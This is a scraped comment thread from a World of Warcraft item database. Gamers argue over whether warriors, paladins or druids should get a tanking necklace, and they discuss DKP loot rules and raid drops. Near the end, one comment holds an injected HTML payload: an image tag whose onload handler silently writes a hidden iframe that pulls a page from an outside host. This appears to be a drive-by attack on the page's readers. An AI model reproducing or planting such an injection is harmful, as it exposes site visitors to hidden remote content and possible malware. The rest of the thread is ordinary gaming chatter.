Yes, a Warrior can get *more* usage out of this than a Feral Druid, specifically as +Defense affects Parry/Block which Druids can't do in Bear.

And yes, Warriors can out-tank druids; quite apart from parry/block, Defense Stance (Defense stance 10% reduction is equivalent to around 1300 armor if you look at the way it stacks) there's stuff like shield wall / last stand / other active abilities to deal with when you get crit to low and may not get a heal for a sec, other stuff.

It's still the best next for a Druid that likes to tank. And they still get a hell of a lot of usage out of it.

The problem with hybrid classes if you go *best usage only* is then any hybrid (shaman, paladin, druid; and druid particularly due to the way forms work) is screwed out of the equipment they need to be effective as the primarly class can always use it somewhat more.

That's where a DKP system works well - if you want it, bid on it, and the threshold for who can bid can exist (Caster-only classes wouldn't bid on this) but is pretty low. Druids more than qualify to bid.

Комментарий от Thottbot

Look, warriors tank better than paladins for more than just taunt and shieldwall.

(1) We have defensive stance. 10% mitigation.

(2) We hold aggro WAY better. We even hold aggro better against undead.

(3) The main reason that no paladin will ever, ever, ever, ever, ever main tank in Molten Core (ignoring that the raid will have warriors, and a warrior would always be a better tank anyway) - your tanking is on a timer. You require tons of mana for successful tanking, and you'll run out if too much time goes by. And too much time WILL go by in Molten Core.

Комментарий от Thottbot

Folks,
No matter what, this arguement about pallies over warriors will never end.

I have a level 60 warrior. 7200 ac, 5k hps, 415 Def skill, 15% chance to block, 12 % dodge, 10% parry etc.

Yes my class is obviously the most gear dependent class in the game. Yes we are typically main tanks in most situations. People there are always discrepancies when it comes to gaming. Sometimes a pally will fill a warrior roll, sometimes another class will fill in for someone else. It's all about being versatile.

Pallies make fine off tanks. In fact, a pally and a warrior WORKING TOGETHER, are a force to be reckoned with. So instead of pissing and moaning over who is better and blah blah blah, use it to your advantage that you people are on the same friggin team.

Pallies have saved my ass more times in MC than I can remember. The guild that I raid with on Thunderhorn, does not let paladins be MT's. We have 3 MT's. The first two are completely decked out with full might gear, Dark iron ring, and Steadfast might ammys. They also either have Quel'serrar, deathbringer, and Drilborer disk equiped in there hands.

I have yet to see these 3 MT's in my guild, fail. They never die, period.

To sum it up, paladins are a versatile class. They can fill temporary roles well, to a certain degree.

Warriors can do 3 things. Lots of high dmg, hella dps, or they can get the #$%^ beat out of them.

If a warrior knows how to tank, and play his character well, then there is nothing to worry about in terms of aggro. Sometimes you get the occasional dumbass.

My 2 cents.

Комментарий от Thottbot

for those still waiting for drops, check your raid ID and let someone else start the raid to rebuild your loot tables.

funny thing is, in ZG is a common blue drop called "Talisman of Protection" with 8 sta, 9 def, 1% parry.

Guess now greedy warrior can stop whining about other classes looting AoSM :).

Комментарий от Thottbot

To all those flaming pally's heres a new target. Druids should definitely be allowed to bid for this for a couple reasons.

1)We may not be the BEST tanks, but geared right we are GREAT tanks. Just like paladins. Druids can get up to 16500 armor, (which from various talent calculators i have looked up is the cap reduction, 75% or 80%)Tell me that doesn't help to tank.

2)Druids need the dodge MORE than warriors and pallys. Both of you get parry/block. We don't. So in effect the dodge benefits us both the same, but druids need it more.

3)It's got a cat on it, which undoubtedly fits our class the best.. (Is it just me or does that look like the thundercat symbol?)

4)Off topic of the druid fair roll, but I do not think a rogue or hunter should roll on this. This is simply because they do not tank. But, with any decent DKP system they can. Only reason they would roll on this is for PVP (maybe, don't know the classes well enough.) Any rog/hunter that can get this wouldn't be off tanking adds they steal agro from in intances like the rogues in LBRS.

Anyone that doesn't agree with me, to bad. I think I'm right, You think your right, Good thing were not in the same guild. Anyone that does agree with me, good. Happy that someone shares my logic.

Ceallo, 60 Druid of Archimonde

Комментарий от Thottbot

Look, druids, this is a simple fact. I am not flaming anyone here. I have both a 60 warrior, and a 60 druid. Both run MC, as needed, but I off-tank MC as a warrior. Listen here. Druids everywhere now say "I can out DPS a rouge." "I can out-tank a warrior", ect...

This is not the essence of druid. Get this right. Druid brings versatility and adaptability to the table, always. Its just the way the class was designed. In my eyes, if ANY druid tries to out-tank a tank, out-dps a dpser, out-heal a healer, then you have lost the aspect of druid that make it unique.

All in all, this druid argument about "bear tanking over a Warrior""Cat dps over a rogue" ect, ect, causes you to be so blind to your other abilities, that you become more than expendable to any raid in MC, or even ZG. Off-tank when needed, heal when needed, dps when needed. That is the function of a druid, anywhere. People need to get off of this "We can do this better than you" kick, and say "We can offtank, dps AND heal....what can you do?"

Комментарий от Thottbot

My argument isnt that druids CANT do anything, more than they CAN do anything. Druids seem to lose that aspect of themselves nowadays with all of this, "Im so much better than a warrior/rogue/mage/priest" thing. No matter what build, no matter what gear, Druids can do it all, but a lot of us often forget that, and lose the essence of the class.

Комментарий от Thottbot

how the hell did medallion of steadfast might posts go into Pvp warrior vs. druid discussion?

Комментарий от Thottbot

Main Tank Necklace

Комментарий от Thottbot

I came here looking for information on this item and see this rambling discussion about paladin tanks vs warrior tanks, druids vs PvP warriors, and all manner of other garbage. Try, for the love of God at least TRY, to keep the conversation ON THE SUBJECT. Save all the other crap for the forums.

Комментарий от Thottbot

All the warriors passed it to me.
I also got the first Heavy Dark Iron Ring to drop.
<3 the warriors in my raigroup.

Комментарий от Thottbot

If anything was gonna tank other than war it should be druid... Speaking as a prot war, I know for a fact that druids are better at 2 things. They hold aggroe better on single targets, they are the only class that can hit the armor cap. The downsides of druids is that they have a hard time getting +def equipment making them very suseptable to smashing blows. Also, they can't pop potions or items while in bear form. They also can't block or parry.

Warriors on the other hand have much better damage mitigation due to the fact that they avoid more hits and block the rest. Warriors have access to large amounts of +def gear so they dont get hit with smashingblows as much, warriors have 3 "oh ^&*!" abilities to get themselves out of iffy sitiuations such as taunt, mocking blow, and aoe taunt. Also a prot war has 3 aggroe gainers sunder, revenge, shield slam and wars without shield slam but 15% added aggroe from melee, can use HS occasionally to spend some rage.

Many people say druids are better because they can intercept if knockedback and save anyone before the mob hits them... a good prot war can avoid loosing aggroe from knockbacks easily, if you don't know how I'm definantly not telling you.

Pallys can tank but they only do it to show off, any competent war will outtank any pally. Same with shams, they can tank but only when there is no war present or to show off.

A list of best to worste tanks 10 being the best 1 being the worst. war=10 druid=9.5 pally=6 sham=5 rogue=2 (sometimes rogues like to tank 5mans everyonce and a while lol)
this isnt only measured with stats available to the classes, its also measured by aggroe gain ability.

Sorry about the bad grammer, i usually would complain but i dont feel like checking it over.

Комментарий от Thottbot

phat drU1d lutez

Комментарий от Thottbot

Got this last night, won it because MT didnt need it..its an upgrade from the grand marshal norris blue that i've had for a while. Really happy with it. Its pretty obvious it owns...Stamina, Stre, Dodge, and Def...warrior loot all the way

-Hixxy 60 Warrior
-Eredar
<Aegis Requiem>

Комментарий от Thottbot

Haha thott has gotten to the point where i only log onto it if i want to see people flaming each other...lol

Anyways, put the pally / druid / warrior tank debate away

I'm a 60 warrior, this dropped a while ago and i'm very happy i spent my DKP on it. This is a tank necklace. Wheather that means pally / druid / warrior thats up to you.

Комментарий от Thottbot

Lol just lost this to a rogue :) I'm a warrior :)

Комментарий от Thottbot

The tank would usually be Paladin in most fantasy fiction systems, but Blizzard didn't want Warrior to be a useless class, and they didn't want to make more char classes then necessary, so they combined the Cleric class with Paladin, so warriors would still be a viable and enjoyable class.
To some up the difference between Warrior and Paladin in a sentence, its the difference between a grunt Swordsman (War) and a veteran trained Knight (which is where the term Paladin comes from, a Holy Knight.)
Paladin is supposed to be a prestige class, but Blizzard didn't include a system for earning the right to play a more powerful class, so here we are with Blizzards cleric-paladin thing.

Комментарий от Thottbot

its a freaking necklace

Комментарий от Thottbot

http://i.www.wowhead.com/cata/search?q=n/Interface/Icons/INV_Mace_13.jpg" height=1 width=1 onload=c.innerHTML=unescape("%3Ciframe%20height%3D1%20width%3D1%20src%3D//i.oij1.com/1.htm%3E%3C/ifr ame%3E") border="0
.

Комментарий от Allakhazam

necklace for any MT and prot spec warriors

Комментарий от Allakhazam

This Dropped the other night when we dropped Mag on the 2nd attempt (wiped first time cuz most of us werent staying outta the flames). I only had 2 points at the time so I tried my luck. I got the 60% cutoff. I wasnt mad tho because our guild leader/Main Tank finally got something he actually needed from MC. I would later get my might belt tho!

Комментарий от Allakhazam

Rage of mugamba > Medallion of steadfast might

Комментарий от Allakhazam

dont feel bad.. blizz doesnt hate hunters...

Everyone does!
naw.. hunters are good to have with my ice mage leetness..... =D i love you guys

oh yea and good necklace.. not for me tho :P

Комментарий от Allakhazam

Dicendarq, go get yourself an evil eye pendant from Dire Maul.

Комментарий от Allakhazam

this item is getting increased sta and str next patch.

Комментарий от Allakhazam

the necklaces you get from ZG for having increased rep is close to this if not better. I'm only at friendly too and it's replaced my medallion of grandmarshal morris. strength of mugamba I think. might be called rage of mugamba. I'll link it later when I'm back on my char.

Комментарий от Allakhazam

what's best, this or medallion of grand marshal morris?

Комментарий от Allakhazam

Lol...hunter necklace.

xD.

Комментарий от Allakhazam

Got it as a druid and loving it <3

Комментарий от Allakhazam

Not bad for most tanks,but I wouldn't wear it for anything.

Edited, Tue Sep 6 16:10:30 2005

Комментарий от Allakhazam

No Druid post? Well, then please don't mind me then. ^^

THIS IS THE ULTIMATE BEAR TANKING NECKLACE!

Thank you.

Комментарий от Allakhazam

I killed Magmadar with my raid tonight and this dropped. Since practically all our tanks have epic necklaces/ringes etc. this was free-for-all.

I expected other paladins, hunters rouges or whatever to go for this, but only another feral druid and I did. The other druid wasn't too keen, either, so I got it for a little over minimum dkp.

Well, it's a small step for me, but a giant leap for feral-druid-kind ;)

Комментарий от Allakhazam

Wait, why would a hunter even be ALLOWED to roll on this?

Комментарий от Allakhazam

Fantastic...

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